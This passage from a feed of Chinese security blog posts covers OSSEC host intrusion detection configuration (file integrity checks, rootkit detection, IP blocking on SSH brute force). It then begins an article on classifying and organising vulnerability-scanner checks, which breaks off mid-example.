22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">ossec-syscheckd可以做到实时监测，通过inotify 机制来实现</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">举个栗子，每隔两个小时检查一次 /etc 目录的文件变动：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;syscheck&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;frequency&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">7200</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/frequency&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">     # 检查频率</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;directories</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">check_all</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;yes&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/etc</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/directories&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  # 检查的目录</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;ignore&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/etc/hosts.deny</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/ignore&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        # 忽略的目录，可以理解为白名单，减少重复误报的情况</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/syscheck&gt;</span></code></span></span></p></li></ol></pre><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x03 Rootkit检查模块</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">RootCheck检查手段：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">rootkit_files.txt 记录了 rootkit 常用的文件，程序会尝试 stats, fopen and opendir 指定的文件。程序会尝试所有的syscall，因为有些内核级别的的 rootkit 会隐藏文件。尝试的次数越多，漏报会越少。这个库需要不断更新。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">rootkit_trojans.txt 记录了木马文件的特征。这个方法无法检测内核级别的 rootkit，也无法发现未知木马。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">扫描/dev目录来寻找异常。一些 rootkit 会隐藏在该目录下，实际上这个目录只应该有设备文件。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">扫描所有的文件，主要检查权限异常。普通用户不应该有权限修改root的文件。还有suid文件、隐藏的文件和目录。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">查找隐藏进程。程序使用 getsid 和 kill 去检查 pid 是否被占用。如果 pid 被占用了，但是 ps 并没有显示，说明有可能被 rootkit了。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">查找隐藏端口。程序使用 bind 去检查端口（包括 tcp udp）是否被占用。如果端口被占用了，但是 netstat 并没有显示，说明有可能被 rootkit了。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">扫描 promisc 模式的网卡。如果是promiscuous 模式的网卡，但是 ifconfig 没有显示，说明有可能被 rootkit了。</span></span></p></li></ul><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x04 实时阻断功能</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">Active Response: 一些规则被匹配到后，会触发命令执行，来实现一些功能[1]。比如：ssh爆破次数大于10次，屏蔽ip</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;command&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;name&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">host-deny</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/name&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;executable&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">host-deny.sh</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/executable&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;expect&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">srcip</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/expect&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;timeout_allowed&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">yes</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/timeout_allowed&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/command&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;active-response&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;command&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">host-deny</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/command&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;location&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">local</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/location&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;rules_id&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">31171</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/rules_id&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">              # 满足某条规则，就触发屏蔽            </span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;timeout&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">600</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/timeout&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/active-response&gt;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">注：告警是 Server 端产生的，通过 Server 端运行的 agent_control 进程将相关指令下发给 Agent，最终在 Agent 端执行并生效[4]。</p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">总结</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">说起来这篇文(fan)章(yi)写了也有段时间了。本来是雄赳赳气昂昂，准备看完文档就看源码的，结果文档写的很好，国内外也有很多人分享过各个方面的理解，也就丢了看源码的心思（😩其实是不想看C）。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">整个的设计模式非常有参考价值，通过层层叠叠的配置文件，降低了添加新规则的门槛，也让整体看起来更有条理。</p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">参考资料</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">[1]开源HIDS-OSSEC使用实例2：使用联动功能阻断cc攻击 <a href="http://www.freebuf.com/articles/system/69394.html" target="_blank">http://www.freebuf.com/articles/system/69394.html</a>
[2]OSSEC日志泛化及告警规则配置 <a href="http://www.freebuf.com/articles/network/36484.html" target="_blank">http://www.freebuf.com/articles/network/36484.html</a>
在
[3]OSSEC官方文档 <a href="http://ossec-docs.readthedocs.io/en/latest/manual" target="_blank">http://ossec-docs.readthedocs.io/en/latest/manual</a>
[4]About active responses in OSSEC <a href="http://sgros.blogspot.com/2012/08/about-active-responses-in-ossec.html" target="_blank">http://sgros.blogspot.com/2012/08/about-active-responses-in-ossec.html</a></p><p><br/></p>



<p><a href="2247483772">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=639ac4cd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483772%26idx%3D1%26sn%3D17b85be2c387d8b329cfb846e4584e85%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 12 May 2018 12:54:00 +0800</pubDate>
    </item>
    <item>
      <title>扫描POC的收纳之道</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483765&amp;idx=1&amp;sn=00f704385c59787c99bb59d422ee7cbf</link>
      <description>确认过眼神，你就得在这里</description>
      <content:encoded><![CDATA[<p>
原创 <span>吃瓜群众-Fr1day</span> <span>2018-05-07 20:04</span> <span style="display: inline-block;"></span>
</p>

<p>确认过眼神，你就得在这里</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9f79aa68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkicDoqMu0nRnEwOicQNEHRdtq1aBkJP7kNOicrQzYcmWEZmOniceNiatVDRlQIyf7SMoiaicX3PI44dkK7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">还在上大学的时候，觉得做安全工具给别人用的人最牛逼，一心想做扫描器，就走上了安全开发的不归路（🙄翻个白眼，并给自己点一首凉凉）。<br/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">在我云实习的时候，有幸参与到一个相对完善、高创新性和高效率的扫描系统的组件开发。时间较短、接触的东西也有限，但仍然对扫描器的整体架构有了一定的了解。后来由于不可抗力，最终还是加入了现在的公司。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">经过一年多的折腾和尝试，我把漏洞扫描这一块儿，里里外外摸了个透。虽然因为人力有限，POC量和更新速度远远比不上当年实习时接触到的扫描器，产(K)出(P)也(I)不符合我的预期，但整体的框架设计仍然是值得参考的。</p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.4;font-size: 1.25em;font-weight: bold;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">0x00 漏洞分类</h4><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">根据检测原理（或者说：扫描 Payload 的插入位置），我将漏洞分为如下几类：</p><ul style="" class=" list-paddingleft-2"><li><p>url参数级</p></li><p>依赖于爬虫，需要在每个参数值/参数名的位置插入 Payload 进行 Fuzz，同一 Payload 被多次调用。比如 XSS、SQL注入、文件包含、命令执行等</p><li><p>url级</p><p>同样依赖于爬虫，但无需遍历参数，每个 URL 只调用一次相关 Payload。比如：S2-045<span style="color: rgb(51, 51, 51);caret-color: rgb(51, 51, 51);">（</span>指定HTTP Header）、PHP CGI命令执行（指定QueryString）、部分XXE（指定POST内容）等</p></li><li><p>web_domain级</p></li><p>依赖于端口扫描、web服务识别，每个web站点只调用一次相关 Payload。比如：docker remote API未授权、子域名劫持、TOMCAT RCE（CVE-2017-12615）、discuz SSRF、git信息泄露、敏感文件下载等</p><li><p>service_domain级</p><p>依赖于端口扫描、服务识别，每个非HTTP服务只调用一次。比如：rsync未授权、mysql弱口令、redis未授权等</p><p><br/></p></li></ul><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">注：参数名处存在漏洞的可能性比较低，可以根据扫描等级来确定是否 Fuzz</p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.4;font-size: 1.25em;font-weight: bold;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">0x01 扫描整体流程</h4><p><img class="" data-copyright="0" data-ratio="0.5078125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=54e780ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkicDoqMu0nRnEwOicQNEHRdt4mdhdc63qlZeW37VzxRR7MNLBu8h5GV40McWj6LQicaGNJECUfU1rlA%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">整体逻辑大体如上图，但实际操作的时候为了减少漏报，会做一些特殊处理，比如：</p><ul style="" class=" list-paddingleft-2"><li><p>service_bat 会 Fuzz 部分默认端口，即使端口扫描部分没有扫到对应的端口开放（比如 redis、ssh）</p></li><li><p>爬虫会输出网站的 PATH 给 web_domain_bat，方便非常见路径的文件fuzz（比如：<span class="Apple-converted-space"> </span><a href="http://example.com/nicaibudaozhegelujing/.git/config）" target="_blank">http://example.com/nicaibudaozhegelujing/.git/config）</a></p></li></ul><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);"><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">注： bat 取自 windows bat文件（批处理）。<br/></p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.4;font-size: 1.25em;font-weight: bold;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">0x02 模块设计</h4><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">接下来会大致介绍一下各个模块的设计。各个模块的漏洞输出均为同一格式（Json）：</p><pre style="box-sizing: border-box;overflow: auto;"><code class="hljs json" style="box-sizing: border-box;display: inline;background-color: transparent;">[{
&#34;<span class="hljs-attribute" style="box-sizing: border-box;color: rgb(0, 128, 128);">target</span>&#34;: <span class="hljs-value" style="box-sizing: border-box;"><span class="hljs-string" style="box-sizing: border-box;color: rgb(221, 17, 68);">&#34;127.0.0.1&#34;</span></span>,
&#34;<span class="hljs-attribute" style="box-sizing: border-box;color: rgb(0, 128, 128);">port</span>&#34;: <span class="hljs-value" style="box-sizing: border-box;"><span class="hljs-number" style="box-sizing: border-box;color: rgb(0, 128, 128);">22</span></span>,
&#34;<span class="hljs-attribute" style="box-sizing: border-box;color: rgb(0, 128, 128);">service</span>&#34;: <span class="hljs-value" style="box-sizing: border-box;"><span class="hljs-string" style="box-sizing: border-box;color: rgb(221, 17, 68);">&#34;ssh&#34;</span></span>,
&#34;<span class="hljs-attribute" style="box-sizing: border-box;color: rgb(0, 128, 128);">bug_type</span>&#34;: <span class="hljs-value" style="box-sizing: border-box;"><span class="hljs-string" style="box-sizing: border-box;color: rgb(221, 17, 68);">&#34;ssh_weak_pass&#34;</span></span>,
